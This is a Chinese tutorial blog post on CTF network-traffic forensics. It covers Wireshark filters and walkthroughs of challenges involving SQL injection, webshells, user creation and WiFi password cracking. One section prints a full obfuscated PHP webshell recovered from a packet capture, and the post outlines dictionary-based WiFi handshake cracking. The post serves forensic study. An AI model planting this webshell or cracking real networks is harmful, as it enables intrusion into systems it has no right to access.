流量分析入门

Posted superwinner

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了流量分析入门相关的知识,希望对你有一定的参考价值。

流量分析

流量分析是CTF里面的常见题目,通常会给我们一堆数据包,然后让我们用Wireshark分析流量包里面的内容排除无关信息然后获取隐藏的flag

Wireshark使用

数据包筛选

ip的筛选

筛选源ip

  • 方法一
ip.src == 源ip地址

  • 方法二

右击Source Address字段,再选择作为过滤器应用 –-> 最后点击选中,就可筛选出该源IP的所有包了

目的ip筛选

ip.dst==目的ip地址
  • 方法一

  • 方法二

右击Destination Address字段,再选择作为过滤器应用 –-> 最后点击选中`,就可筛选出该源IP的所有包了

筛选符合要求的ip,可以是源地址或目标地址。

ip.addr==<ip>

Wireshark 同时支持逻辑运算符和位运算符可以更加方便的筛选我们想用的数据包

这里筛选

MAC地址赛选

eth.dst ==A0:00:00:04:C5:84 筛选目标mac地址

eth.addr==A0:00:00:04:C5:84 筛选MAC地址

端口筛选

tcp.dstport == 80  筛选tcp协议的目标端口为80的流量包

tcp.srcport == 80  筛选tcp协议的源端口为80的流量包

udp.dstport == 80  筛选udp协议的目标端口为80的流量包

协议筛选

tcp  筛选协议为tcp的流量包

udp 筛选协议为udp的流量包

arp/icmp/http/ftp/dns/ip  筛选协议为arp/icmp/http/ftp/dns/ip的流量包

包长度筛选

udp.length ==20   筛选长度为20的udp流量包

tcp.len >=20  筛选长度大于20的tcp流量包

ip.len ==20  筛选长度为20的IP流量包

frame.len ==20 筛选长度为20的整个流量包

其他同理

http请求筛选

请求方法为GET:http.request.method==“GET”        筛选HTTP请求方法为GET的 流量包

请求方法为POST:http.request.method==“POST”      筛选HTTP请求方法为POST的流量包

指定URI:http.request.uri==“/img/logo-edu.gif”  筛选HTTP请求的URL为/img/logo-edu.gif的流量包

请求或相应中包含特定内容:http.request.uri contains "/FLAG"    筛选HTTP内容为/FLAG的流量包

数据包搜索

WireShark 界面按CTRL+F 可以进行关键字搜索,搜索功能支持多种

数据包还原

选择数据包-->右击-->最追踪流-->选择类型

数据包提取

  • 自动提取

文件-->导出对象-->HTTP

选择你需要的数据包然后点Save 保存 或者 Sava All 保存所有的对象然后放入文件夹进行分析

题型分析

入门题

Cephalopod(图片提取)

攻防世界Cephalopod

下载

下载文件然后打开Wireshark

搜索flag然后找到长度比较大的流量包追踪流

之后保存原始数据导出

然后删除多余部分保留PNG

HITB95700d8aefdc1648b90a92f3a8460a2c

题目:特殊后门(icmp协议信息传输)

题目来源:第七届山东省大学生网络安全技能大赛
考点:字符串搜索,icmp协议信息传输
题目信息:(backdoor++.pcapng)

选出ICMP 包之后跟着找每一个包里面有一个flag的字符

flagIcmp_backdoor_can_transfer-some_infomation

题目:手机热点(蓝牙传输协议obex,数据提取)

题目来源:第七季极客大挑战
考点:蓝牙传输协议obex,数据提取
题目信息:(Blatand_1.pcapng)

搜索发现有一个rar压缩包

导出

题目:想蹭网先解开密码(无线密码破解)

题目来源:bugku
考点:无线密码破解
题目信息:(wifi.cap)

WIFI认证存在四次握手包eapol协议的数据包

使用kali的Crunch生成字典

  • 语法
crunch <min> <max> [options]
  • 参数
     min    设定最小字符串长度(必选)
     max    设定最大字符串长度(必选)

     oprions
     -b     指定文件输出的大小,避免字典文件过大  
     -c     指定文件输出的行数,即包含密码的个数
     -d     限制相同元素出现的次数
     -e     定义停止字符,即到该字符串就停止生成
     -f     调用库文件(/etc/share/crunch/charset.lst)
     -i     改变输出格式,即aaa,aab -> aaa,baa
     -I     通常与-t联合使用,表明该字符为实义字符
     -m     通常与-p搭配
     -o     将密码保存到指定文件
     -p     指定元素以组合的方式进行
     -q     读取密码文件,即读取pass.txt
     -r     定义重某一字符串重新开始
     -s     指定一个开始的字符,即从自己定义的密码xxxx开始
     -t     指定密码输出的格式
     -u     禁止打印百分比(必须为最后一个选项)
     -z     压缩生成的字典文件,支持gzip,bzip2,lzma,7z  

  • 特殊字符
     %      代表数字
     ^      代表特殊符号
     @      代表小写字母
     ,      代表大写字符    

使用aircrack-ng 对数据包进行密码爆破

使用教程: https://www.jianshu.com/p/fd16236057df

进阶题

题目:抓到一只苍蝇(数据包筛选,数据提取)

题目来源:bugku
考点:数据包筛选,数据提取
题目信息:(misc_fly.pcapng)

  • 先搜索flag

发现一个flag.txt文件

该数据包是通过qq邮箱传的一些文件

然后搜索关键字

通过POST传入了一个rar文件

筛选POST 协议

这里调用了2个函数,中间应该是传输的过程发送的数据包

CreateFile

CheckFile

两个文件的md5值一样然后从中间的数据包大小可以看出来

几个数据包加起来

131436*4+1777=527,521减去压缩包的大小为1820 这1820 是5个数据包头的大小364

使用Linux可以把五个数据包包头去掉然后合成一个rar文件

具体命令dd:

dd if=1 bs=1 skip=364 of=1.1

dd命令语法:
if 输入文件名
bs 设置每次读写块的大小为1字节 
skip 指定从输入文件开头跳过多少个块后再开始复制
of 输出文件名

然后导出对应的文件(看分组序号) 然后倒入kali

┌──(root㉿kali)-[/home/kali/test]
└─# dd if=1 bs=1 skip=364 of=11
131072+0 records in
131072+0 records out
131072 bytes (131 kB, 128 KiB) copied, 2.06969 s, 63.3 kB/s

┌──(root㉿kali)-[/home/kali/test]
└─# dd if=2 bs=1 skip=364 of=22
131072+0 records in
131072+0 records out
131072 bytes (131 kB, 128 KiB) copied, 2.03437 s, 64.4 kB/s

┌──(root㉿kali)-[/home/kali/test]
└─# dd if=3 bs=1 skip=364 of=33
131072+0 records in
131072+0 records out
131072 bytes (131 kB, 128 KiB) copied, 2.08859 s, 62.8 kB/s

┌──(root㉿kali)-[/home/kali/test]
└─# dd if=4 bs=1 skip=364 of=44
131072+0 records in
131072+0 records out
131072 bytes (131 kB, 128 KiB) copied, 2.04758 s, 64.0 kB/s

┌──(root㉿kali)-[/home/kali/test]
└─# dd if=5 bs=1 skip=364 of=55
1413+0 records in
1413+0 records out
1413 bytes (1.4 kB, 1.4 KiB) copied, 0.0234734 s, 60.2 kB/s

┌──(root㉿kali)-[/home/kali/test]
└─# ls
1  11  2  22  3  33  4  44  5  55
┌──(root㉿kali)-[/home/kali/test]
└─# cat 11 22 33 44 55 > flag.rar

┌──(root㉿kali)-[/home/kali/test]
└─# ls
1  11  2  22  3  33  4  44  5  55  flag.rar

然后打开压缩包发现文件头损坏

84改为80

这是个exe可执行文件

... 脏东西

binwalk 提取下

一堆png文件

然后用formost 提取出来

扫描二维码获取flag

https://online-barcode-reader.inliteresearch.com

flagm1Sc_oxO2_Fly

数据分析题

题目一(1.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:
1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
4.第一个受害主机网站数据库的名字

打开了流量包然后筛选HTTP协议

可以看出攻击者的ip地址是202.1.12 受害者的ip为192.168.1.8 然后注入的参数为list[select]

数据库前缀ajtuc_

(ip.addr==202.1.1.2 or ip.addr==192.168.1.8) and http

找到最后一次注入的记录进行url解码

数据库名:joomla

题目二(2.pcap)

题目要求:
1.黑客第一次获得的php木马的密码是什么
2.黑客第二次上传php木马是什么时间
3.第二次上传的木马通过HTTP协议中的哪个头传递数据

(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and http
  • php木马密码

通过之前的过滤找到一个可以的POST 注入的数据包

数据包里面的POST 可以看出这个是中国菜刀的一个流量特征 然后这里的木马密码就为zzz

Hvv常见webshell流量特征及检测思路

  • 第二次上传木马的时间

    通过过滤获得数据包因为第一次是通过POST传上去的马然后就可以直接锁定协议

(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and http.request.method=="POST"

可疑数据包

就只有一个item值为z2的数据包应该可以判断是这个数据包了然后通过十六进制提取出来导入HXD就可以还原代码

代码很乱是被混淆过后的代码

<?php
$p = \'l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5\';
$d = \']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\\\w]>])[\\\\w->]]+>](?:;q=>]0.([\\\\d]))?,?/",>\';
$W = \'),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base\';
$e = \']T_LANGUAGE"];if($rr>]&&$>]ra)$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>\';
$E = \'>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();\';
$t = \'($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>\';
$M = \']$ra,$>]m);if($q>]&&$m>])@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto\';
$P = \']f(s>]tr>]pos($p>],$h)===0)$s[>]$i]="";$p>]=$ss($>]p,3);>]if(ar>]ray>]_key_exist>]>]s($i,$>]s)>])$>\';
$j = str_replace(\'fr\', \'\', \'cfrrfreatfrfre_funcfrtfrion\');
$k = \'];re>]>]turn $o;>]$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>\';
$g = \'"";for(>]$i=>]0;$i<$l;>])>]for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++)$o.>]=$t$i>]^$k$j>\';
$R = \'$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k)$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=\';
$Q = \']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e)$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>\';
$v = \']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]\';
$x = str_replace(\'>]\', \'\', $R . $g . $k . $e . $d . $M . $p . $t . $P . $Q . $v . $W . $E);
$N = $j(\'\', $x);
$N();
?>

应该就是第二次上传的木马了

时间17:20:44.248365

这里有一个http有关的参数

然后通过过滤发现kkkaaa.php 后面的数据包全是footer.php

通过追踪流发现

Referer 指向的是攻击者的8080端口所以 是通过Referer 头传递的数据

题目三(3.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:
1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
2.php代理第一次被使用时最先连接了哪个IP地址

打开数据包根据题目要求是要找到mysql的用户名和密码然后就可以直接关键字搜索

tcp contains "mysql" and mysql

找到最后一次的登录数据

md5值为Password: 1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

php代理访问是通过http协议可以通过之前找到的两个ip地址过滤出http协议然后发现后续的通信使用的是一个名字为tunnel.php 的一个文件

这里该文件是通过post传参然后过滤POST参数

可以获得第一次连接的ip为4.2.2.2

题目四(4.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:
1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
2.黑客在内网主机中添加的用户名和密码是多少
3.黑客从内网服务器中下载下来的文件名

  • 黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

根据题目要求获取当前目录的文件列表的漏洞利用请求是什么时候可以搜索关键字dir 或者ls 来查找数据包

(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and (http contains "dir" or http contains "ls")

然后发现lsdir 然后追踪流发现 ls里面没有数据则这台主机是Windows 的主机

追踪dir 的http流

命令执行成功然后返回了路径所以

第一次获取到当前目录下的文件列表的漏洞利用请求发生在:2018 18:36:59.770782

  • 黑客在内网主机中添加的用户名和密码是多少

在主机添加用户的话就可以直接锁定ip主机了,这里是通过远程命令执行也可以直接选定协议为http可以过滤出更精准的数据包

ip.addr==192.168.2.20 and http

这里可以查到一个类似于一句话木马的语句,然后后面都是以该文件来执行的,说明现在又写入了一个后门文件名为sh.php 的后门文件

然后过滤

ip.src==192.168.2.20 and http 

后面根据时间线来逐个查找数据包

然后找到一个net user 的数据包

然后通过时间线逐步往下看

发现了其他的用户名字为kaka

时间为:18:50:45.908737

后面通过时间线找到密码

因为在后面成功添加用户查找密码可以直接往上面的数据包进行查找,也就是18:50:45.908737 之前

然后进行解码所以密码为kaka

  • 黑客从内网服务器中下载下来的文件名

从最开始的流量特征来看是通过菜刀来连接webshell的然后我们可以直接通过ip加请求方式过滤出一部分数据包在这些数据包里面挑选

ip.dst == 192.168.2.20 and http.request.method==POST

下载文件的话,是在提权之后才可以下载的也就应该是增加了用户之后来下载的可以直接按时间线过滤一部分数据包

在这一堆数据包里面找

对这些数据包进行逐个解码发现下载的文件为procdump.exe

以上是关于流量分析入门的主要内容,如果未能解决你的问题,请参考以下文章

CTF-MISC(入门|笔记|工具)

CTF-MISC(入门|笔记|工具)

流量回放工具之 goreplay 核心源码分析

流量回放工具之 goreplay 核心源码分析

使用Fiddler分析Youtube访问协议

简单移动互联网数据入门案例